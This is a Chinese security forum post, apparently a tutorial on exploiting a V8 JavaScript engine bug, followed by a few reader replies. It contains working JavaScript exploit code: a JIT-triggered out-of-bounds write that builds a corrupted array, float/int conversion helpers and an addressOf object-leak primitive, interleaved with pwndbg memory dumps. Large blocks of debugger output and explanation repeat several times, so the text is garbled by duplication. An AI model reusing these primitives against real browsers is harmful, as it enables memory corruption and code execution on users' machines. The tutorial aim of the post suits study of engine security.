 - elements: 0x0c3466384b91 <FixedArray[4]> [PACKED_ELEMENTS (COW)]
 - length: 4
 - properties: 0x03423c380c21 <FixedArray[0]> {
    #length: 0x37f737f801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0c3466384b91 <FixedArray[4]> {
           0: 2
           1: 0x37f737f90b49 <String[4]: test>
           2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
           3: 0x28e956ea4c11 <HeapNumber 5.1>
 }
pwndbg> job 0x0c3466384b91
0xc3466384b91: [FixedArray]
 - map: 0x03423c380801 <Map>
 - length: 4
           0: 2
           1: 0x37f737f90b49 <String[4]: test>
           2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
           3: 0x28e956ea4c11 <HeapNumber 5.1>

pwndbg> telescope  0x0c3466384b90
00:0000│   0xc3466384b90 —▸ 0x3423c380801 ◂— 0x3423c3801
01:0008│   0xc3466384b98 ◂— 0x400000000 //长度为5,smi
02:0010│   0xc3466384ba0 ◂— 0x200000000 //a[0],smi
03:0018│   0xc3466384ba8 —▸ 0x37f737f90b49 ◂— 0x8e000003423c3804//a[1],对象
04:0020│   0xc3466384bb0 —▸ 0x28e956ea4c01 ◂— 0x3423c3805//a[2],对象
05:0028│   0xc3466384bb8 —▸ 0x28e956ea4c11 ◂— 0x66000003423c3805//a[3],对象

pwndbg> telescope 0x28e956ea4c00
00:0000│   0x28e956ea4c00 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│   0x28e956ea4c08 ◂— 0x41f4b230ce300000 //5555555555按照IEE754存在内存中的值,可以自己用上面的网站进行转换

pwndbg> telescope 0x28e956ea4c10
00:0000│   0x28e956ea4c10 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│   0x28e956ea4c18 ◂— 0x4014666666666666//5.1按照IEE754存在内存中的值
所以这回可以理解smi最后一位为0,对象最后一位为1的概念了吧。
/*---------------------------datatype convert-------------------------*/
class typeConvert{
	constructor(){
		this.buf = new ArrayBuffer(8);
		this.f64 = new Float64Array(this.buf);
		this.u32 = new Uint32Array(this.buf);
		this.bytes = new Uint8Array(this.buf);
    }
    //convert float to int
	f2i(val){		
		this.f64[0] = val;
		let tmp = Array.from(this.u32);
		return tmp[1] * 0x100000000 + tmp[0];
    }
    
    /*
    convert int to float
    if nead convert a 64bits int to float
    please use string like "deadbeefdeadbeef"
    (v8's SMI just use 56bits, lowest 8bits is zero as flag)
    */
    i2f(val){
        let vall = hex(val);
		let tmp = [];
        tmp[0] = vall.slice(10, );
        tmp[1] = vall.slice(2, 10);
        tmp[0] = parseInt(tmp[0], 16);
        // console.log(hex(val));
		tmp[1] = parseInt(tmp[1], 16);
		this.u32.set(tmp);
		return this.f64[0];
	}
}
//convert number to hex string
function hex(x)
{
    return '0x' + (x.toString(16)).padStart(16, 0);
}

var dt = new typeConvert();

/*---------------------------get oob array-------------------------*/
function fun(arg) {
    let x = arguments.length;
    a1 = new Array(0x10);
    a1[0] = 1.1;
    a2 = new Array(0x10);
    a2[0] = 1.1;
    a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
    a1[(x >> 16) * 41] = 1.39064994160909e-309;  // 0x2a00000000
  }

var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list

/*---------------------------leak object-------------------------*/
var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};
var objTest = {'a':'b'};

//search the objLeak.tag
for(let i=0; i<0xffff; i++){
    if(dt.f2i(a2[i]) == 0xdead00000000){
        offset1 = i-1; //a2[offset1] -> objLeak.leak
        break;
    }
}

function addressOf(target){
    objLeak.leak = target;
    let leak = dt.f2i(a2[offset1]);
    return leak;
}

//test
%DebugPrint(objLeak);
%SystemBreak();
console.log("address of objTest : " + hex(addressOf(objTest)));
%DebugPrint(objTest);
DebugPrint: 0x1e330d086219: [JS_OBJECT_TYPE]
 - map: 0x22c2d4d0aa99 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229>
 - elements: 0x1b513bb00c21 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1b513bb00c21 <FixedArray[0]> {
    #leak: 4660 (data field 0)
    #tag: 57005 (data field 1)
 }
0x22c2d4d0aa99: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 40
 - inobject properties: 2
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x22c2d4d0aa49 <Map(HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x281a3f880609 <Cell value= 1>
 - instance descriptors (own) #2: 0x29ec48fa6dc1 <DescriptorArray[2]>
 - layout descriptor: (nil)
 - prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229>
 - constructor: 0x29ec48f81fc9 <JSFunction Object (sfi = 0x281a3f88c361)>
 - dependent code: 0x1b513bb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
使用telescope  0x1e330d086218查看对象布局二进制信息,注意对象指针是0x1e330d086219,对象地址0x1e330d086219-1。
pwndbg> telescope  0x1e330d086218
00:0000│   0x1e330d086218 —▸ 0x22c2d4d0aa99 ◂— 0x500001b513bb001
01:0008│   0x1e330d086220 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
... ↓
03:0018│   0x1e330d086230 ◂— 0x123400000000
04:0020│   0x1e330d086238 ◂— 0xdead00000000
05:0028│   0x1e330d086240 —▸ 0x22c2d4d0ab39 ◂— 0x400001b513bb001
06:0030│   0x1e330d086248 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
可以看到0x1234和0xdead存储在对象的inobject_properties,是以smi的方式存储。smi和指针可以参考这篇文章《V8 小整数(smi)和指针》,关于浮点数参考这篇文章《V8 浮点数(float/double)》
为了深入理解smi、对象指针、浮点数在内存的存储形式,以及更清楚的理解上面代码中typeConvert类中的方法,我这里先抛开漏洞本身,讲以下几个例子。
1)
a = [2, "test", 5555555555, 5.1];
%DebugPrint(a);
%SystemBreak();
gdb调试:
DebugPrint: 0xc3466384bf1: [JSArray]
 - map: 0x0594c5202f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x28e956e90ac1 <JSArray[0]>
 - elements: 0x0c3466384b91 <FixedArray[4]> [PACKED_ELEMENTS (COW)]
 - length: 4
 - properties: 0x03423c380c21 <FixedArray[0]> {
    #length: 0x37f737f801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0c3466384b91 <FixedArray[4]> {
           0: 2
           1: 0x37f737f90b49 <String[4]: test>
           2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
           3: 0x28e956ea4c11 <HeapNumber 5.1>
 }
pwndbg> job 0x0c3466384b91
0xc3466384b91: [FixedArray]
 - map: 0x03423c380801 <Map>
 - length: 4
           0: 2
           1: 0x37f737f90b49 <String[4]: test>
           2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
           3: 0x28e956ea4c11 <HeapNumber 5.1>

pwndbg> telescope  0x0c3466384b90
00:0000│   0xc3466384b90 —▸ 0x3423c380801 ◂— 0x3423c3801
01:0008│   0xc3466384b98 ◂— 0x400000000 //长度为5,smi
02:0010│   0xc3466384ba0 ◂— 0x200000000 //a[0],smi
03:0018│   0xc3466384ba8 —▸ 0x37f737f90b49 ◂— 0x8e000003423c3804//a[1],对象
04:0020│   0xc3466384bb0 —▸ 0x28e956ea4c01 ◂— 0x3423c3805//a[2],对象
05:0028│   0xc3466384bb8 —▸ 0x28e956ea4c11 ◂— 0x66000003423c3805//a[3],对象

pwndbg> telescope 0x28e956ea4c00
00:0000│   0x28e956ea4c00 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│   0x28e956ea4c08 ◂— 0x41f4b230ce300000 //5555555555按照IEE754存在内存中的值,可以自己用上面的网站进行转换

pwndbg> telescope 0x28e956ea4c10
00:0000│   0x28e956ea4c10 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│   0x28e956ea4c18 ◂— 0x4014666666666666//5.1按照IEE754存在内存中的值
所以这回可以理解smi最后一位为0,对象最后一位为1的概念了吧。
DebugPrint: 0x1e330d086219: [JS_OBJECT_TYPE]
 - map: 0x22c2d4d0aa99 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229>
 - elements: 0x1b513bb00c21 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1b513bb00c21 <FixedArray[0]> {
    #leak: 4660 (data field 0)
    #tag: 57005 (data field 1)
 }
0x22c2d4d0aa99: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 40
 - inobject properties: 2
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x22c2d4d0aa49 <Map(HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x281a3f880609 <Cell value= 1>
 - instance descriptors (own) #2: 0x29ec48fa6dc1 <DescriptorArray[2]>
 - layout descriptor: (nil)
 - prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229>
 - constructor: 0x29ec48f81fc9 <JSFunction Object (sfi = 0x281a3f88c361)>
 - dependent code: 0x1b513bb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
使用telescope  0x1e330d086218查看对象布局二进制信息,注意对象指针是0x1e330d086219,对象地址0x1e330d086219-1。
使用telescope  0x1e330d086218查看对象布局二进制信息,注意对象指针是0x1e330d086219,对象地址0x1e330d086219-1。
pwndbg> telescope  0x1e330d086218
00:0000│   0x1e330d086218 —▸ 0x22c2d4d0aa99 ◂— 0x500001b513bb001
01:0008│   0x1e330d086220 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
... ↓
03:0018│   0x1e330d086230 ◂— 0x123400000000
04:0020│   0x1e330d086238 ◂— 0xdead00000000
05:0028│   0x1e330d086240 —▸ 0x22c2d4d0ab39 ◂— 0x400001b513bb001
06:0030│   0x1e330d086248 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
可以看到0x1234和0xdead存储在对象的inobject_properties,是以smi的方式存储。smi和指针可以参考这篇文章《V8 小整数(smi)和指针》,关于浮点数参考这篇文章《V8 浮点数(float/double)》
pwndbg> telescope  0x1e330d086218
00:0000│   0x1e330d086218 —▸ 0x22c2d4d0aa99 ◂— 0x500001b513bb001
01:0008│   0x1e330d086220 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
... ↓
03:0018│   0x1e330d086230 ◂— 0x123400000000
04:0020│   0x1e330d086238 ◂— 0xdead00000000
05:0028│   0x1e330d086240 —▸ 0x22c2d4d0ab39 ◂— 0x400001b513bb001
06:0030│   0x1e330d086248 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
可以看到0x1234和0xdead存储在对象的inobject_properties,是以smi的方式存储。smi和指针可以参考这篇文章《V8 小整数(smi)和指针》,关于浮点数参考这篇文章《V8 浮点数(float/double)》
为了深入理解smi、对象指针、浮点数在内存的存储形式,以及更清楚的理解上面代码中typeConvert类中的方法,我这里先抛开漏洞本身,讲以下几个例子。
1)
a = [2, "test", 5555555555, 5.1];
%DebugPrint(a);
%SystemBreak();
gdb调试:
a = [2, "test", 5555555555, 5.1];
%DebugPrint(a);
%SystemBreak();
gdb调试:
DebugPrint: 0xc3466384bf1: [JSArray]
 - map: 0x0594c5202f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x28e956e90ac1 <JSArray[0]>
 - elements: 0x0c3466384b91 <FixedArray[4]> [PACKED_ELEMENTS (COW)]
 - length: 4
 - properties: 0x03423c380c21 <FixedArray[0]> {
    #length: 0x37f737f801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0c3466384b91 <FixedArray[4]> {
           0: 2
           1: 0x37f737f90b49 <String[4]: test>
           2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
           3: 0x28e956ea4c11 <HeapNumber 5.1>
 }
pwndbg> job 0x0c3466384b91
0xc3466384b91: [FixedArray]
 - map: 0x03423c380801 <Map>
 - length: 4
           0: 2
           1: 0x37f737f90b49 <String[4]: test>
           2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
           3: 0x28e956ea4c11 <HeapNumber 5.1>

pwndbg> telescope  0x0c3466384b90
00:0000│   0xc3466384b90 —▸ 0x3423c380801 ◂— 0x3423c3801
01:0008│   0xc3466384b98 ◂— 0x400000000 //长度为5,smi
02:0010│   0xc3466384ba0 ◂— 0x200000000 //a[0],smi
03:0018│   0xc3466384ba8 —▸ 0x37f737f90b49 ◂— 0x8e000003423c3804//a[1],对象
04:0020│   0xc3466384bb0 —▸ 0x28e956ea4c01 ◂— 0x3423c3805//a[2],对象
05:0028│   0xc3466384bb8 —▸ 0x28e956ea4c11 ◂— 0x66000003423c3805//a[3],对象

pwndbg> telescope 0x28e956ea4c00
00:0000│   0x28e956ea4c00 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│   0x28e956ea4c08 ◂— 0x41f4b230ce300000 //5555555555按照IEE754存在内存中的值,可以自己用上面的网站进行转换

pwndbg> telescope 0x28e956ea4c10
00:0000│   0x28e956ea4c10 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│   0x28e956ea4c18 ◂— 0x4014666666666666//5.1按照IEE754存在内存中的值
DebugPrint: 0xc3466384bf1: [JSArray]
 - map: 0x0594c5202f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x28e956e90ac1 <JSArray[0]>
 - elements: 0x0c3466384b91 <FixedArray[4]> [PACKED_ELEMENTS (COW)]
 - length: 4
 - properties: 0x03423c380c21 <FixedArray[0]> {
    #length: 0x37f737f801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0c3466384b91 <FixedArray[4]> {
           0: 2
           1: 0x37f737f90b49 <String[4]: test>
           2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
           3: 0x28e956ea4c11 <HeapNumber 5.1>
 }
pwndbg> job 0x0c3466384b91
0xc3466384b91: [FixedArray]
 - map: 0x03423c380801 <Map>
 - length: 4
           0: 2
           1: 0x37f737f90b49 <String[4]: test>
           2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
           3: 0x28e956ea4c11 <HeapNumber 5.1>

pwndbg> telescope  0x0c3466384b90
00:0000│   0xc3466384b90 —▸ 0x3423c380801 ◂— 0x3423c3801
01:0008│   0xc3466384b98 ◂— 0x400000000 //长度为5,smi
02:0010│   0xc3466384ba0 ◂— 0x200000000 //a[0],smi
03:0018│   0xc3466384ba8 —▸ 0x37f737f90b49 ◂— 0x8e000003423c3804//a[1],对象
04:0020│   0xc3466384bb0 —▸ 0x28e956ea4c01 ◂— 0x3423c3805//a[2],对象
05:0028│   0xc3466384bb8 —▸ 0x28e956ea4c11 ◂— 0x66000003423c3805//a[3],对象

pwndbg> telescope 0x28e956ea4c00
00:0000│   0x28e956ea4c00 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│   0x28e956ea4c08 ◂— 0x41f4b230ce300000 //5555555555按照IEE754存在内存中的值,可以自己用上面的网站进行转换

pwndbg> telescope 0x28e956ea4c10
00:0000│   0x28e956ea4c10 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│   0x28e956ea4c18 ◂— 0x4014666666666666//5.1按照IEE754存在内存中的值
所以这回可以理解smi最后一位为0,对象最后一位为1的概念了吧。

[峰会]看雪.第八届安全开发者峰会10月23日上海龙之梦大酒店举办!

最后于 2020-3-28 11:32 被jltxgcy编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (4)
雪    币: 14633
活跃值: (5898)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
如果一个漏洞要费这么多功夫和巧合才能利用,还算是漏洞吗?
最后于 2020-3-28 11:43 被tDasm编辑 ,原因:
2020-3-28 11:40
0
雪    币: 83
活跃值: (1087)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
3
tDasm 如果一个漏洞要费这么多功夫和巧合才能利用,还算是漏洞吗?
 漏洞太多 看的头疼 看雪大佬们也不讲讲基础的
2020-3-28 12:22
0
雪    币: 6573
活跃值: (3858)
能力值: (RANK:200 )
在线值:
发帖
回帖
粉丝
4
v8的比较复杂,还有sandbox,webview android上相关的调试,赞
2020-3-29 11:18
0
雪    币: 7818
活跃值: (1073)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
5
LowRebSwrd v8的比较复杂,还有sandbox,webview android上相关的调试,赞
是的,正准备研究下。
2020-3-29 11:38
0
游客
登录 | 注册 方可回帖
返回
//